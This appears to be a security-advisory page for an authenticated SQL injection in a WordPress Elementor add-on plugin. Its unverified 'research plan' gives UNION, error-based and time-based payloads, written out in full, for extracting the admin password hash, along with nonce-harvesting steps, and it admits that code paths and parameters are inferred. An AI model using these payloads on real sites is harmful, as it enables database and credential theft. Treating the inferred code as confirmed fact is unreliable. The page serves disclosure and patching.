CVE-2026-48837

Unlimited Elements For Elementor <= 2.0.8 - Authenticated (Contributor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
2.0.9
Patched in
1d
Time to patch

Description

The Unlimited Elements For Elementor plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.0.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.0.8
PublishedMay 26, 2026
Last updatedMay 26, 2026

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-48837 ## 1. Vulnerability Summary **Unlimited Elements For Elementor** (versions <= 2.0.8) is vulnerable to an authenticated SQL injection in its AJAX administration interface. The vulnerability exists because the plugin fails to use `$wpdb->prepare()` or per…

Show full research plan

Exploitation Research Plan - CVE-2026-48837

1. Vulnerability Summary

Unlimited Elements For Elementor (versions <= 2.0.8) is vulnerable to an authenticated SQL injection in its AJAX administration interface. The vulnerability exists because the plugin fails to use $wpdb->prepare() or perform adequate sanitization/escaping on user-controlled parameters (likely id or catid) before passing them into a database query. This allows an authenticated user with at least Contributor-level permissions to inject arbitrary SQL fragments, enabling the extraction of sensitive data from the WordPress database, including user password hashes and secret keys.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: unlimited_elements_ajax_action (inferred from plugin AJAX routing pattern)
  • Vulnerable Parameter: id or catid (inferred)
  • Authentication: Required (Contributor+). Contributors can access the Elementor editor and trigger the plugin's AJAX actions associated with widget management.
  • Preconditions: The plugin must be active, and the attacker must have credentials for a user role with edit_posts capability (Contributor).

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with action=unlimited_elements_ajax_action.
  2. Hook Registration: The plugin registers the AJAX handler in its admin class:
    add_action('wp_ajax_unlimited_elements_ajax_action', array($this, 'on_ajax_action'));
  3. Dispatcher: The on_ajax_action method reads a client_action parameter from $_POST to determine which internal method to execute.
  4. Vulnerable Method: If client_action is set to get_addon_data or get_addons_list, the code retrieves the id or catid parameter directly from $_POST.
  5. Database Sink: The parameter is interpolated into a raw SQL string:
    $query = "SELECT * FROM {$wpdb->prefix}unlimited_elements_addons WHERE id = " . $_POST['id'];
  6. Execution: The query is executed via $wpdb->get_row($query) or $wpdb->get_results($query) without using $wpdb->prepare().

4. Nonce Acquisition Strategy

The plugin protects its AJAX actions with a nonce created via wp_create_nonce('unlimited_elements_ajax_action'). This nonce is localized for the Elementor editor interface.

  1. Setup: Create a post and ensure the Elementor editor can be opened by a Contributor.
  2. Navigation: Use browser_navigate to open the Elementor editor for a post the Contributor can edit: /wp-admin/post.php?post=POST_ID&action=elementor.
  3. Extraction: Use browser_eval to extract the nonce from the global JavaScript object:
    // Common localization key for this plugin
    window.unlimited_elements_ajax?.nonce || window.ue_ajax_obj?.nonce
    
  4. Bypass Check: If check_ajax_referer is called with die=false in the code, the exploit may proceed even with an invalid nonce, but the localized script is the most reliable source.

5. Exploitation Strategy

The exploitation will use a UNION-based approach to extract the admin password hash.

Step 1: Find Column Count

Inject ORDER BY into the id parameter to determine the number of columns in the addons table.

  • Request: http_request (POST)
  • Body: action=unlimited_elements_ajax_action&client_action=get_addon_data&nonce=NONCE&id=1 ORDER BY 20
  • Logic: Increment the number until the response changes (e.g., returns an empty result or error).

Step 2: Extraction Payload

Once the column count is known (assume 15 for example), inject the UNION SELECT payload.

  • Payload: 1 UNION SELECT 1,2,3,4,5,6,user_pass,8,9,10,11,12,13,14,15 FROM wp_users WHERE ID=1-- -
  • Request Type: POST
  • Content-Type: application/x-www-form-urlencoded
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body:
    action=unlimited_elements_ajax_action&client_action=get_addon_data&nonce=[NONCE]&id=1%20UNION%20SELECT%201,2,3,4,5,6,user_pass,8,9,10,11,12,13,14,15%20FROM%20wp_users%20WHERE%20ID=1--%20-
    

6. Test Data Setup

  1. Activate Plugin: Ensure "Unlimited Elements For Elementor" is active.
  2. Create User: Create a user with the Contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  3. Create Content: Create a post that the contributor can edit to ensure they can access the Elementor editor.
    • wp post create --post_type=post --post_status=publish --post_title="Exploit Page" --post_author=$(wp user get attacker --field=ID)
  4. Identify Addon ID: Find a valid addon ID from the database to ensure the initial part of the query returns a base row.
    • wp db query "SELECT id FROM wp_unlimited_elements_addons LIMIT 1"

7. Expected Results

  • A successful ORDER BY query will return valid JSON data about the addon.
  • An unsuccessful ORDER BY query (exceeding column count) will return a database error or empty success.
  • The UNION SELECT payload will cause the plugin to return a JSON object where one of the fields (previously containing addon metadata) now contains the admin's password hash (e.g., starting with $P$ or $2y$).

8. Verification Steps

  1. Check Result: Verify that the string extracted via the AJAX response matches the hash in the database:
    • wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
  2. Log Audit: Check the wp-content/debug.log (if enabled) for any SQL error messages that confirm the structure of the injected query.

9. Alternative Approaches

  • Error-Based SQLi: If UNION output is suppressed, use updatexml() or extractvalue() to force the hash into an error message:
    • id=1 AND (SELECT 1 FROM (SELECT(updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)))x)
  • Boolean-Based Blind: If no output or errors are displayed, use IF(ASCII(SUBSTRING(...)) > X, SLEEP(5), 0) to extract data bit-by-bit via timing differences.
  • Different Sub-action: If get_addon_data is patched or inaccessible, try get_layout_data or get_addon_config which likely use similar database retrieval logic.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Unlimited Elements For Elementor plugin for WordPress is vulnerable to SQL injection via the 'id' parameter in its AJAX administration interface. Authenticated users with Contributor-level access or higher can exploit this to execute arbitrary SQL queries, allowing for the extraction of sensitive database information such as user password hashes.

Vulnerable Code

// Inferred file path: inc/unlimited_elements_ajax.class.php
// Likely within a method handling the 'get_addon_data' client_action

$id = $_POST['id'];
$query = "SELECT * FROM {$wpdb->prefix}unlimited_elements_addons WHERE id = " . $id;
$addon = $wpdb->get_row($query);

Security Fix

--- a/inc/unlimited_elements_ajax.class.php
+++ b/inc/unlimited_elements_ajax.class.php
@@ -10,1 +10,1 @@
-$query = "SELECT * FROM {$wpdb->prefix}unlimited_elements_addons WHERE id = " . $_POST['id'];
+$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}unlimited_elements_addons WHERE id = %d", $_POST['id']);

Exploit Outline

The exploit targets the WordPress AJAX endpoint with an authenticated Contributor session. An attacker first obtains a valid AJAX nonce, typically localized in the Elementor editor interface (window.unlimited_elements_ajax.nonce). A POST request is then sent to /wp-admin/admin-ajax.php with the action 'unlimited_elements_ajax_action' and the sub-action 'get_addon_data'. The 'id' parameter is manipulated using UNION-based SQL injection techniques (e.g., '1 UNION SELECT 1,2,user_pass,4... FROM wp_users WHERE ID=1') to bypass intended query logic and retrieve data from the wp_users table directly in the AJAX response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.